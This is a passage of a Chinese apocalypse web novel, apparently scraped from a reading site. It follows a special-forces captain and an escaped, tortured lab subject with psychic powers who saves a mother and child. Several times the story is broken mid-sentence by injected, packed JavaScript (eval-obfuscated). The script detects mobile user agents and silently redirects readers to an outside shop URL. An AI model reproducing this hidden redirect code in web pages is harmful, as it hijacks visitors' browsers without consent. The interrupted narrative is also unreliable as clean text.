男人艰难地回答,嗓音非常好听:“我们运输途中遭遇怪物袭击,我一开门被抽飞出去了,醒来才发现我们的队伍已经……” 运气真好,被抽到坡下晕过去正好躲开了激烈的厮杀,血腥味都集中在坡上,把变异怪物都吸引走了。 吴罪顿了顿,忽的直接把人抱了起来,抱的时候又像是没抓稳,手微微一松。 男人吃了一惊。 人在失去平衡的时候会有本能的反应,受过训练的军人会立刻调整身形重新稳住重心,即便是假装,肌肉群也会下意识绷紧,然而男人却一把搂住了吴罪的脖子。 一股淡淡的香气涌入鼻腔,像是某种花。 吴罪把他抱紧,笑了笑:“不好意思,手滑。” 他在这一刻心里默默确认了一件事,这是个普通人,还是个手无缚鸡之力的普通人。 男人在他怀里垂下眸子,长长的睫毛在下眼睑投下阴影。 吴罪吸了吸鼻子。 大男人还喷香水,还挺香。 他抱着男人从山坡下面绕到了自己摩托车附近的主路上。 “这里离事故现场地方远些,比较安全。”吴罪把人放在了路边的石头旁,退后两步看着他,“现在能告诉我你叫什么了吗?” 男人背靠着石头仰起头,看上去稍微恢复了一些,修长的手指还按在肚子上,脸色很苍白。 他的身上有种很特别的气质,明明处于弱势,却并不显得弱小卑微,吴罪脑海里闪过一个词“矜贵”。 的确,虽然看上去男人十分虚弱,需要依靠他,但是刚才自己抱他走过来的路上,他的身体却是完全自然地放松的。 这其实是非常奇怪的,在这种情况下男人居然不害怕,即便身体孱弱,却会在无形中流露出上位者的姿态,似乎习惯了别人的照顾和保护。 “我姓江,”男人说,“叫江玄灵。” 吴罪心说和我妈一个姓,这么巧。他又问:“你是做什么的?” “实验室研究员。” 吴罪朝着两人刚才过来的方向指了指:“你们车里那个大玻璃容器里运的是什么?” 江玄灵虚弱摇头:“我不能说,这是机密。” “好吧。”吴罪笑了一下,居然也没深究,他只穿了一件黑背心,肌肉的线条在夕阳光线下格外分明,一只手随意的按在枪托上,明明是随意的姿势,却透出了特种兵强悍的压迫感,视线向下,落在了江玄灵腹部,“把你的衣服掀起来,让我看看你肚子上的伤。” 起风了,风卷过树梢,引得山林里的树木莎莎作响,又席卷向下,扬起江玄灵眼眸前的遮挡的碎发,他漂亮的眸子在阴影里忽明忽暗。 “长官,”江玄灵顿了顿,然后轻声说,“我们第一次见就让人掀衣服,这不太好吧。” 吴罪的笑容更深了:“有什么不好的,你既然说是被树枝抽了,那腹部一定会有瘀青,让我看看伤的重不重。” 江玄灵没有动,吴罪端起枪咔嗒一声上膛对准了江玄灵,眼神骤然冷了下来:“三个数,你不脱,我就开枪。” 他还不至于色令智昏。 那么惨烈的现场,连特种兵都无一幸免,一个科研人员怎么会一点皮外伤都没有?什么被抽飞了幸免于难的说法太牵强。 只有两种可能,第一种,他在事故发生的时候根本就不在这里,而是之后闻声从别的地方过来的,甚至可能是敌国的人,偷了一件实验员的衣服伪装身份。 第二种,他真的属于这支队伍,用了某种特殊方式保护了自己,很有可能和玻璃容器里的东西有关。 经过刚才的观察,吴罪更偏向后一种,无论如何他必须彻底搞清楚发生了什么,为什么别人都死了,只有这个男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520987|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没死? “三。” “二。” 吴罪眯起眼睛,然而江玄灵却眼神都没有变一下,就在吴罪要喊出“一”的瞬间,异变突发。 身后草丛里一阵窸窸窣窣的声音飞速由远及近,庞然大物的气息瞬间就到了背后,吴罪猛然回头,一只比人还粗的巨大的蛇从草丛中扑来,朝他一口咬下。 砰!—— 子弹从蛇的侧腮穿透出去,它痛叫一声猛的甩几下头,然而新鲜食物的吸引力显然更大,立刻又再次掉头向二人扑来。 “小心!”吴罪一把推开江玄灵,正要再次开枪打向那蛇的喉管,却发现居然没子弹了,电光石火之间他猛的把枪杆一横,卡在了蛇的两颗尖牙中间,整个人被蛇巨大的冲击力狠狠压在了地上。 蛇疯狂甩着尾巴想要咬下来,砸得地上尘土飞扬,吴罪双手抓枪,手臂的青筋爆出,这蛇太重了,他几乎用全身的力气在抵抗,双脚把土地都蹬得起了皮。 不行,撑不了多久。 吴罪咬牙,如果是他自己的话,拼尽全力逃总是能逃走的,但一旦他逃脱了,蛇会立刻扑向他后方的江玄灵。 还没问明白,不能让他死。 吴罪头也不回地嘶吼:“你快往西边跑!一会儿我顶不住了!……” 他话音还没落地,只听不远处一阵摩托轰鸣的启动声。 吴罪余光一看,差点没把眼珠子瞪出来! 江玄灵不知道什么时候已经骑上了他的车,有些生疏地转了转油门,然后踢开了支撑的脚蹬。 他回头看向吴罪:“抱歉,征用一下你的交通工具。” 吴罪:“……” 他甚至还很礼貌。 吴罪咆哮:“你——” 江玄灵看着他被憋的通红的脸,从白大褂的口袋里摸出一个东西扔过来:“这个给你。” 一个椭圆的东西叽里咕噜滚到了吴罪身边——是颗手榴弹。 下一秒,江玄灵轰地一声骑上摩托车,消失在了道路尽头。吴罪想要大骂却根本发不出声音。 蛇再次疯狂甩尾下压,眼睛发着绿光,蛇信子几乎扫在吴罪的脸上。 吴罪感觉血管都要爆裂,眼看就要支撑不住,手榴弹就在近在咫尺的位置,但他腾不出手。 就在即将濒临极限的瞬间,他忽的感觉有一股难以形容的力量忽的从身体最深处蔓延到了手臂,那是一种很神奇的感觉,硬要说的话,就像是淤堵的小河一下子通了,他不知道这是什么,只是下意识的抓住这个机会猛的一推! 刚才几乎要把他压垮的蛇居然被他推的向后移了几寸,就在这万分之一秒,吴罪猛的抓起了地上的手榴弹,拉下保险栓丢进了蛇嘴里,就地一滚从蛇口下脱离,扑向远处。 手榴弹在蛇腹中轰然爆-炸。 噼里啪啦的碎肉从空中掉了下来,劈头盖脸地淋了吴罪一身。 吴罪缓缓翻身仰躺在地上,默默地抹了一把沾满血肉的后脑勺,没想到自己居然栽在这么一出上,那家伙抢了他的车又怕他死,还给他个手榴弹,吴罪想骂人又觉得哭笑不得,许久,终于低声骂了出来:“操。” 8. 力竭 天色逐渐暗了下来,太阳的最后一缕光落在狭长的山路上,摩托车由远及近,路线看着有些扭曲不稳,速度逐渐减慢,终于彻底停下。 江玄灵几乎是从车上摔下来的,踉跄两步就单膝跪在了地上。 身体已经到了极限,腹中痛得厉害,像是有刀子在里面搅动,黑色的头发一点点变回了淡紫色,冷汗顺着江玄灵尖削的下巴滴落在地上。 居然连外形的伪装都要维持不住了。 他闭了闭眼,感觉浑身都在发烫,头很晕,骨头缝里痛得发酸,大概率是发烧了。 管子断裂不仅仅造成了传输中断,还造成了感染。 他抬头看向面前——眼前是一片别墅区。 门口的牌子上写明了这块地的由来,大概是几年前某个开发商在这片深山老林里开辟出这么一片“空谷幽兰度假区”,旅游+居住一体,里面有一个大型酒店,可以供游客居住,另外还建了一些独栋小别墅,是可以直接出售的。 社区里不单单有各种餐饮店,还有小商店和体育场,包括大草坪体育场和网球场之类的配套设施,以回归大自然的名头,吸引着100多公里外的首都人民周末过来居住游玩。 江玄灵扶住膝盖撑起身体,艰难地站了起来。 这是一处非常理想的休息地点,有现成的房屋,四周安安静静的,似乎没什么人打扰。 江玄灵对节假日的概念很模糊,否则就会知道为什么这么好的房子如此冷清,末世开始的时候正是工作日,城里人都忙着上班,几乎没人来大山里休闲玩乐。 他捂着肚子绕过社区门口的挡车杆,朝着一栋像是没有人的小别墅走过去,就在快走到门口的时候,忽的有个小东西从一旁的树上扑下来咬向他的喉咙。 江玄灵回眸瞳孔中紫光一闪,狰狞的变异松鼠已经被无形的力量劈成了两半,从空中掉落在了地上。 几乎是同时江玄灵狠狠皱了一下眉,扶住了一旁的石墩,内脏像是被用力扯了一下,疼痛让他忍不住微微弯下腰,按在腹部的手用力按了进去。 哒哒哒…… 忽的,他看到有什么东西从变异松鼠的尸体里滚了出来。 好像是一颗花生粒大小的金色小珠子。 江玄灵定定地看了那金色小珠子几秒,忽的发现里面居然有淡紫色的星光闪动,心里隐隐有了个猜测,他弯腰捡起那粒小珠子,在掌心捏碎。 咔嚓。 一股微弱的力量随着小珠子的破碎流了出来,又被他吸入了掌心。 如同干涸的土地上忽的被浇了一杯水,虽然是杯水车薪,却依旧感觉到了一丝湿润。 果然如他想的一样,这些珠子里有怪物的精神力。 如果不是一颗,而是十几颗、几百颗……那对自己身体修复的效果将是十倍百倍。 江玄灵眸色微深,忍着疼又杀死了几株在门口乱舞的植物,果然掉下了几颗更小的珠子。 他把它们一一捏碎吸收掉,微微叹了口气。 有点心疼,之前杀死的青蛙肯定有很大一颗珠子,可惜错过了。 江玄灵活动了一下手指。 杀死这些小东西花费的力量甚至比吸收的还多,但是杀死更大更强的变异生物,就意味着需要消耗更大的力量,简直是个死循环。 除非有人能替他杀死这些怪物,他在后面白捡珠子,才能达到只进不出的效果。 不可能有这种便宜事的。 江玄灵不再做这种妄想,指尖紫光微闪打开门锁,准备推门进屋,他实在太需要休息了,肚子疼得眼前发黑,每走一步都难受得要命,骨头缝里仿佛有冰渣子在磨。 “啊!——” 忽的,隔壁的小别墅里猝然传来一声尖叫。 那是女人的尖叫,还伴随着小孩子的哭喊。 江玄灵握住门把的手顿住了。 女人的哭喊越来越大,小女孩几乎声嘶力竭地叫着妈妈。 江玄灵闭上眼,攥着门把手深吸一口气。 “宝贝到我身后!” 隔壁别墅一层的房间里,女人浑身都在颤抖,眼泪不受控制地流下,她的手里攥着一把厨房刀,刀尖对着卧室紧锁的大门。 哐哐哐!!—— 有什么东西在疯狂地撞击门,门框被撞的木屑窸窸窣窣往下掉,眼看已经出现了裂缝。 只有六岁多的小女孩躲在妈妈身后吓得魂飞魄散,缩在墙角大哭不止。 咔嚓! 门被终于被撞裂,一只尖利的爪子迫不及待地猛伸了出来,一下子勾住了女人的袖子。 女人失声尖叫着后退,袖子被刺啦一声扯破。 那爪子就像是侏罗纪公园里迅猛龙的爪子一样又长又尖,没能抓住女人又变得越发狂躁,拼命往里面抓挠,见抓不到又想把头伸进来,金色的竖瞳紧贴上裂缝往里看,眼珠子左右乱转,紧接着它被撞开,又挤过来另一只眼睛。 那是两只变异蜥蜴,每一只都有成年人那么高。 女人濒临崩溃,母性让她拼死也要一搏,她大叫着冲过去,狠狠刺向第二只怪物的眼睛。 怪物向后跳走躲开了。 女人的行为激怒了它们,两只怪物一起爆发出了暴怒的咆哮,那声音震耳欲聋,它们满嘴都是锋利细小的尖牙,后脑勺上同时怒放开了巨大的红色花朵,两朵花的花蕊还在蠕动。 小女孩从门的裂隙看到这景象,吓得哭都不会了。 就在这时,别墅的门被推开了。 吱呀—— 脚步声进入的时候母亲还以为是幻觉,随即她就听到一句略有些虚弱的磁性男声:“闭眼”。 完全是下意识服从声音的指令,母亲猛的转身捂住了女儿的眼睛,自己也双眼紧闭蹲了下来。 外面怪物剧烈咆哮,似乎不可置信居然有人敢打断它们,一起扑向了这个不速之客。 然后不知道发生了什么,外面一下子安静了,紧接着是两声重物倒地的声音。 一秒,两秒……外面十分安静。 然后脚步再次响了起来,似乎有些沉重,伴随着喘息,缓缓地走向母女所在的房间。 母亲颤巍巍地睁开眼,把女儿推到墙角,自己抓着刀哆嗦地走到门边拉开门—— 外面站着一个身材修长的绝美男人,他的脸上几乎毫无血色,皮肤比雪还要白,冷汗浸透了额前淡紫色的碎发,他微微喘息着,将视线落在女人身上,又落在角落里的小女孩身上。 女人手里的刀当一下掉在了地上,连小女孩都止住了哭。 不知道为什么,在这个男人面前她们几乎不敢呼吸,像是任何举动都像是冒犯,几乎有种想要跪下来的冲动。 然而下一秒,男人闭上眼睛,径直向前倒了下来。 江玄灵体力耗尽,终于陷入了昏迷。 - 太阳已经彻底下山了,不同于城市里,夜晚的山林里伸手不见五指,只有依稀的月光笼罩着树木庞大的阴影,在那绵延不绝的阴影里,不知有多少异动正在暗暗酝酿。 被抢了车之后吴罪靠脚走路徒步翻过了一个山头,顺着一处高耸的悬崖攀爬下去,在一处安全的崖洞里暂时歇了脚。 特种兵各个都是全能,战斗是基本技能,除此之外野外生存、电子器械维修也都是手到擒来。 确定周围暂时没有怪物之后,吴罪开始捣鼓他从江玄灵所在车队里带出来的无线远程通讯器,半小时之后就修好了,一阵电流声之后,里面就传来了梁景瑞惊天动地的嚎叫:“老大!我和鲈鱼总算联系到你了!”他的尾音几乎带了哭腔。 吴罪攥着通讯器的手微微握紧,第一句话就是问:“怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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肖威,龙影一队的队长,吴罪曾经军校的同学。 那时候他俩总是不对付,他嫌弃肖威古板,肖威嫌弃他不守规矩。 吴罪的心里像是被捅了一把冷冰冰的匕首,还在不断往深处钻,他攥住铭牌,只觉得那小小的铁片冷得刺骨:“但是他们还是失败了,变异生物比想象的强大,龙影部队全军覆没,他们护送的东西也不翼而飞。” 梁景瑞颤声问:“他们运送的是什么?” “用玻璃容器装着,周围连着很多医疗仪器,有很多是维持和监测生命体征用的,那东西很有可能是个活物,我猜测大概是趁乱跑了。” 梁景瑞一旁的卢宇恍惚地喃喃:“真是辛苦了,上面耗费这么大精力制造一个谎言,那东西应该极其重要吧,全世界都来抢,现在丢了怎么办呢。” “管他怎么办!”梁景瑞彻底爆发,“为什么要这么骗我们!我宁愿他们直接告诉我们拼死去和外国人打,这样我一句怨言都不会有,这本身是我们的使命和职责!但他们凭什么拿我们的命去当诱饵,还让我们觉得我们的任务光荣而伟大?” 这是赤裸裸的欺骗和背叛,痛苦的不在于他们让你去送死,而是在于他们认为让你死无须让你知道原因,你只需要死就可以了。 没有人给他们应有的尊重,他们被纯粹地利用,没有知情权,特种部队生命的价值被视作权衡之下可以被抛弃的棋子,就像一次性的工业品。 他们甚至没有被当成人。 “老大。”梁景瑞泣不成声,“王轩和宋小峰死了,我亲眼看见的,还有任健……庄凌云也……” 心里有什么最深处的东西碎了,痛到极致灵魂仿佛都被撕裂。 卢宇声音沙哑,像是被抽去了全身的力气:“钱乐乐下落不明,其余的赤刃部队队员除了我和景瑞,全部战死。” 吴罪停顿了许久,说:“以后没有赤刃部队了。” 梁景瑞和卢宇皆是一怔。 夜幕中吴罪的眸子深不见底,抬眼看向清冷的月色,世道苍茫,前路未卜,曾经的荣耀已经毫无意义,以往追寻的东西也变了味道,还有什么是真的呢? 吴罪轻声说:“以后,我们为自己而战。” 9. 痛苦回忆 梁景瑞狠狠抹掉眼泪:“说的对,不把老子当人看,老子还卖命个球!我父母都在外省,都世界末日了我都没顾得上,我要回老家!鲈鱼,你走不走!” 卢宇父母早亡,只有一个姐姐,他们平时不常联系,如今更是不知道对方在哪里。 卢宇没回答,而是先问吴罪:“老大,你接下来打算做什么?” 吴罪十几岁之后就是母亲一人带大的,感情很深,大概率也是要回去的。 “我还不能走。”吴罪把肖威的铭牌擦干净,珍惜地放回口袋里,虽然他也一样归心似箭,但是还有更重要的事情需要确认,江女士生命力极其顽强,他相信短时间内她能照顾好自己。 “我需要确认龙影部队的任务内容到底是什么。” 梁景瑞不理解,刚说了为自己而战,怎么还管这摊子事:“都世界末日了任务还重要吗!” 所有人都死了,特种部队、普通人、有钱的、没钱的、年轻力壮的、老的少的,他们站在高山之巅清楚的看到了城市里已经是一片混乱,或许连当初下命令的领导都死了,谁还在意什么任务? 吴罪:“你们不觉得巧合吗?冲击波发出的位置是首都,这次任务运输的东西也在首都。” 梁景瑞琢磨着,卢宇先开口:“你是说龙影部队运送的东西,有可能和那场冲击波有关,也就是说和末世有关?” 甚至有可能是造成冲击波的源头。 那再大胆一点想,会不会得到了那东西,就能阻止末世? 这不是为了某个领导,而是为了他们在意的人,为了人类社会。 吴罪:“我必须弄明白他们运的是什么东西。” 梁景瑞狠狠咬了咬牙:“老大,那我帮你。” 卢宇:“算上我一起。” 吴罪笑起来:“你们不回家了?” 卢宇:“比起暂时保证全家人安全,和让社会回到正常秩序,恢复彻底的平安,当然还是选择一劳永逸。” 梁景瑞也亢奋起来:“老大你需要我们做什么?” “你们现在在哪?”吴罪问,根据通讯器的信号质量,他判断梁景瑞和卢宇的所在位置应该比自己更靠近信号塔。 “我们在机场附近的指挥台里。” 吴罪的眼睛微微一亮:“有没有尝试用指挥台的通讯设备和组织上面联系过?” “尝试过,信号一直断断续续的,我们打算明天天亮之后去修一修外接设备,应该很快能调试好。” “很好。”吴罪报出了一个很高军衔的人名,“你们直接联系他,问他龙影部队的真正任务内容是什么,玻璃容器里装着的实验体是什么东西,他死了就问比他更大的领导。” “直……直接问?”梁景瑞没想到吴罪的计划居然这么简单粗暴,对方费了那么大心思隐瞒,怎么会轻易就把真相告诉他们,“这可是绝密啊。” “绝密又怎么了?”吴罪英俊桀骜的脸上勾起一抹冷笑,“上面肯定已经知道龙影部队的任务失败了,他们现在都还没有再派后续部队进山来,恐怕情况不容乐观,不是找不到合适的人,就是山外的变异情况太严重,他们进不来。” “所以说,”吴罪轻声说,“我们现在是他们收回实验体唯一的希望。” 什么人能这么快从被当作棋子抛弃的绝境里逆风翻盘?在所有人都还在痛苦、抱怨、愤怒的时候,吴罪已经抓住了对方的命脉,从被操控变成了操控者。 不是什么人都可以当特种部队的队长,光是心智和胆识就远非常人能比。 卢宇:“收到!队长。” 吴罪:“在此期间我自己也会调查,有消息咱们随时联络。” 梁景瑞奇道:“你要怎么查?” 荒山野岭的,吴罪当初与队伍失散,身上别说高科技的追踪器、红外仪和定位仪,除了通讯器他连个电子设备都没有,要怎么寻找那连模样都不知道的“实验体”。 卢宇沉吟:“龙影部队全队牺牲,也没有人能带路。” “谁说没人的,”吴罪擦着枪,意味深长地眯起了眼睛,脑海中浮现出穿着白大褂的颀长身影,“刚才没来得及跟你们说,还剩一个。” - “宝贝帮妈妈推开门。” “小心点,不要撞到他。” 江玄灵听到有女人的声音在说话,他想要睁开眼睛,但是眼皮很沉很沉,身子像是灌了铅,他感觉自己置身于无垠的星空中,像是在漂浮,却实际在下坠,无数的流星从他的身旁划过,拖着长长的星尾…… 回忆翻滚而来,那些璀璨的流星光彩越发密集,逐渐变成一串串电火花。 刺啦!—— 电流传遍全身,巨大的痛苦让他猛的挺起身子,手背上赫然崩出青筋,然而特殊材质的束带死死勒住了手腕,剧痛中他挣扎着抓住下面的实验床,指甲几乎抠进垫子里。 浑身上下每一寸肌肉都在痉挛,五脏六腑仿佛被火烧,电流足足持续了十几秒才停下,他重重的摔回了实验椅上,眼前全是紫色,那是挣扎中凌乱的头发遮挡了视线,汗水模糊了脸颊。 视野里出现了一张戴着金丝眼镜的男人的脸,他俯身蹙眉看向他:“记录实验数据:编号第394次实验,电流强度8,实验体表现出痛感,尚未激活精神力。” “再来。”他下令。 江玄灵掀起被冷汗浸透的睫毛:“你们会为此付出代价。” 周围有很多人,这是一个巨大的实验基地,几百号实验员、专家、研究人员,都在围绕着江玄灵,像是蚂蚁一样从他身上提取并收集各种资料和数据。 听到这句话,所有人瞬间停下,周围的空气安静得连掉一根针都能听得到。 一股无声的恐惧和忌惮隐隐蔓延开,所有人都下意识看向金丝眼镜。 金丝眼镜一顿,这句看似虚弱的威胁实际的震慑力有多强只有他知道,他的手微微有些抖,然而那只是一瞬,很快更强烈的执念战胜了所有的犹豫,他再次对周围的实验人员下令,语气不容置疑:“再来。” …… “第2967次,实验体对腹部刺激表现出强烈的反应,下一次实验设备将换成罗氏钢针,深入他小腹内的精神力源头。” 接下来的记忆很模糊,据说人在经历了极端痛苦之后大脑会开启自动保护机制,忘掉一些东西。 江玄灵忘了很多。 他只记得很痛很痛,痛到无法用语言形容,痛到那一瞬间他几乎以为自己死了。 轰!!—— 再次恢复意识的时候周围一切都乱了套,房顶被掀翻,四周的墙壁都塌了一半,到处是狼藉,像是遭受了巨大的冲击,线路仪器全部损坏,勉强没损坏的也在废墟里疯狂报警乱叫,救护车正在把地上昏迷不醒的实验人员往外抬。 “韩沐!你知道你捅了多大的篓子吗?” 远处传来了咆哮怒骂声。 一身军装的中年男人站在废墟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520989|142339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边缘指着金丝眼镜的鼻子,这个人江玄灵记得,只有在重大实验节点他才会出现,每次都是坐在主控室的主座,身居高位,前呼后拥。 “我早就说过时机不成熟!现在怎么样!” 金丝眼镜咳嗽了一下,声音闷闷的,大概也受了内伤:“它的存在瞒不下去的,其他国家迟早会发现它,我们必须在那之前开发它的全部价值。” “所以你就贸然行动了?搞出这么大动静,现在还瞒得住什么!?全世界都在质问,联合国都打来了电话,问我是不是在搞核试验!”中年男人的雷霆之怒让周围所有人都大气不敢喘。 金丝眼镜没说话,默默等着对方的暴怒发泄完。 中年男人冷静下来,抬头看向江玄灵的方向:“它的生命体征如何?” “很虚弱。”金丝眼镜转过头来,江玄灵感受到他的视线,“爆炸后它的身体严重受损,我们正在用营养管给它提供养分和促进恢复的药剂。” “绝不能让别的国家得到它。”中年男人冷声说,“必须将它尽快转移,各大国家都在怀疑,甚至可能有的国家已经派先遣部队已经趁乱潜入了我国,所有人都想知道什么能造成全球性的冲击波影响,他们会想要不计代价地得到它。” “重山市。”金丝眼镜说,“我们之前建立备用基地实验室就是为了这种情况。它的价值无法估量,请一定给我时间再继续对它进行研究。” 中年男人转身,算是默许了:“我会派最强的特种部队护送它过去。” “等等!”金丝眼镜忽的喊住了中年男人,镜片反射出实验室的冷光,“请派第二强的。” “最强的特种部队会吸引太多的注意力,我建议设置诱饵车队,由他们运送。” …… 肚子里像是有无声的刀子在搅动,人声、仪器声,好吵好吵,疼痛让他生不如死,却有股执念强撑着不让他睡去。 我得离开。他想。 我必须尽快离开。 不知道从哪里来的力气,紫色的光晕在周身凝聚。“不好!它的能量忽然变强了!它在自我修复!” 韩沐扑过去把一剂药打进他的脖子,同时厉声喝道:“压制它的能量源!把它浸入冷凝液里!” 许多人冲了上来,他的身体里被打入更多不知名的药剂,身上被插上更多的管子,他能感觉到自己的力量一下子被压制了下去,像是火被扑灭。 无数人火急火燎地将他运到了什么地方,然后哗啦一声,浑身骤冷——他被浸入了液体中。 0-100%的进度条出现在他头顶的箱体上。 彻底失去意识前一刻他看到韩沐从助手手中拿走了平板,驱散了实验室内的其他人:“我来设置就行,你们出去。” 偌大的实验室里很快就空了,韩沐站在玻璃容器下仰头看着他,容器里莹莹的电子光反射在他的镜片上,他抬手按住玻璃,眼底终于不加掩饰地露出疯狂和痴迷。 “我不会放你离开的。”他轻声说。 然后他在平板上设置了什么参数,江玄灵挣动起来,然而他的身体已经承受不住哪怕最微小的变化,小腹深处传来撕裂般的剧痛,濒临极限的大脑再也承受不了那么致命的痛苦,自动切断与外界的联系,他在水中垂下了头,陷入了无尽的黑暗。 …… 现实世界中昏迷的江玄灵痛苦地微微挣扎起来,他浑身大汗淋漓,唇齿中发出了低低的呻-吟,头不安分地左右小幅度摆动。 10. 落脚 现实世界中昏迷的江玄灵痛苦地微微挣扎起来,冷汗浸透了他的脸和脖颈,唇齿中发出了低低的呻-吟,头不安分地左右小幅度摆动。 “妈妈,他是不是肚子疼?” 小女孩蹲在床前轻声问母亲,她母亲担心地用打湿的毛巾第无数次帮他擦掉汗珠,叹了口气:“妈妈也不知道。” 屋子里点了一根蜡烛,怪物出现后她们就不敢在夜晚开灯了,害怕吸引怪物,只敢使用最微弱的光源。 这个男人昏迷之后就在发高烧,母女俩把家里仅剩的两片退烧药喂他吃下,却没有起到任何效果,他的身上看不出伤口,不知道是生了什么病。 小女孩趴在床沿上歪头看着江玄灵的脸,他长得好漂亮,她从没有见过这么好看的大哥哥,就像是童话故事里的王子一样,在危机时刻忽然出现拯救了她和妈妈。 王子哥哥你可一定不要有事啊,小女孩担心又害怕,眼圈都有些发红。 “痛痛飞飞。”她做了个驱赶的手势,像是要把折磨江玄灵的东西赶走,又伸出小手想要帮他揉揉肚子,就在即将触碰到江玄灵的一刹那,她的手猛然被抓住了。 长长的睫毛掀开,跳动的烛火照亮了一双虚弱的紫色眸子,江玄灵垂眸看着她,蹙眉微微喘息着,眼神却没有什么焦距。 小女孩吓得不敢动,紧紧的盯着江玄灵。 那双眸子好漂亮,像是璀璨的紫色银河…… 她的母亲连忙轻声安抚:“我们没有恶意。” 小女孩感觉紧紧抓着自己的冰凉手指微微松开了,直到彻底滑了下去,然后江玄灵头一歪,再次闭上了眼睛。 …… 吱——吱—— 知了拖长了尾音趴在树梢上鸣叫着夏日的燥热,忽的一根松针从天空中发射出来把它钉在了树上,知了惨叫几声就安静了,变异喜鹊俯冲下来三两口将它的尸体吃掉,又拍打着翅膀飞远了。 别墅二层的房间里,江玄灵睁开了眼睛。 最先感受到的是全身上下的酸痛,像是被重物碾压了一晚上似的,他皱眉扶着床沿慢慢坐起来,缓了一会儿。 身体恢复了不少,肚子已经不疼了,烧也退了,就是有些体虚。 江玄灵能感觉到,身体内部巨大的损伤还在,他体内最深处的能量源泉就像一个内部出现大面积碎裂的玻璃球,随时都有可能彻底爆裂,只能一点点通过吸收能量修复,不是睡一觉就能好的。 他看了看四周,这是别墅主人的主卧,装饰很温馨,只是缺少了些生活气息,所有东西看上去都很新,大概是不常住。 手指碰到了柔软的东西,他低头看到床边放着一套干净的男性衣物。 “跳跳,帮妈妈拿个鸡蛋。”一层的厨房里,女人撕开三个小面包的包装放在了案板上,用刀子对半切开。 说是做早饭,但实际上别墅里早已停了燃气,只是从塑封零食里面挑些还能吃的。 女人在小面包中间精心抹匀一层黄油,然后重新合拢。 末世了也要好好生活,她不想让自己的孩子在担惊受怕中凑合活着。 小女孩的头发梳得很好看,两个小辫子一颠一颠的,蹦蹦跳跳地跑过去打开冰箱,双手捧出一个小小的鸡蛋:“妈妈,就剩最后一个了。” 女人顿了顿,回头微笑着说:“我们把鸡蛋给大哥哥吃好不好?他需要补充营养。” “嗯!”小女孩用力点头,小心地走过来把鸡蛋递给妈妈,“大哥哥是我们的救命恩人。” “我还不饿,你们吃吧。”不远处传来一个声音。 江玄灵从楼梯上走下来,阳光从一旁的窗户洒进房间,正好落在他身上,他比一般人的皮肤都要白,穿着白色上衣整个人更像是在自发光,女人丈夫的衣服穿在他身上有些宽大,却清楚的勾勒出他平直的肩膀和腰身。 女人有点愣怔,昨天那种黑灯瞎火的情况□□会得还不是很真切,今天在白日里一看,她才发现江玄灵漂亮得不像是真人,如果不是那身白大褂,这样的一张脸配上染成淡紫色的短发,她大概会以为他的身份是明星。 “大哥哥!”小女孩开心地扑上去抱住他,“你好些了吗,昨天我和妈妈都要担心死了。” 小家伙是个天生E人,属于一点都不怕生的超级自来熟,此时正抱着江玄灵的大腿不撒手。 女人握刀的手微微一紧,虽然昨天江玄灵救了她们,但是在这种世道里人心难测,她虽然心存感激却不敢放下警惕。 “好多了,”江玄灵很自然的弯腰,把小女孩抱了起来,笑着说:“多亏了你们照顾我,你叫什么名字?” “我叫跳跳,大哥哥你呢?” “江玄灵。”江玄灵让小姑娘坐在自己手臂上,单手抱着她走向餐桌,经过客厅的时候发现昨天的两具怪物尸体被推到了墙角,用塑料布仔细遮盖着。 这其实是非常聪明的做法,如果直接把怪物尸体丢出去的话,血腥味不知道会吸引来什么。 跳跳还有些怕,往江玄灵怀里缩了缩:“大哥哥你昨天好厉害,一下子就把怪物杀死了。” 江玄灵的目光淡淡从怪物脚边的两个金色小球上扫过,笑了笑:“其实它们是为了争夺食物自相残杀。” “咦?你的眼睛。”跳跳忽的有些好奇地和江玄灵对视,“昨天晚上是紫色的,今天怎么变成黑的了?” 江玄灵目光柔和平静:“应该是烛光照的吧,我本来就是黑色的眼睛。” 跳跳困惑的挠了挠头,然后很快接受自己看错了事实,她觉得江玄灵怎么都好看,吵着让他把自己举高高。 江玄灵于是不单单把她举高高,还往天上抛了三次,跳跳开心疯了,闹着要再来,江玄灵又抛了两次,然后笑着说自己腰要断了,小女孩于是和他拉勾勾,约定好明天再扔。 女人握刀的手微微松开了,从电饼铛里取出煎好的鸡蛋,和其中一个小面包放在一起。 小姑娘跑回楼上说要拿娃娃,江玄灵坐到了桌子旁边。 女人把三个小面包一起端上桌,把带着鸡蛋的摆到江玄灵面前,坐下来轻声说:“你好像很会带小孩子。” “我以前有个弟弟,”江玄灵看了看早饭却没有动,“你们一直住在这里吗?” “以前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 